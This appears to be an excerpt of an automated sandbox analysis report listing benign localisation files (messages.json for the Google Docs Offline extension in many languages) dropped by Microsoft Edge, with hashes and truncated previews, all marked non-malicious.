Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

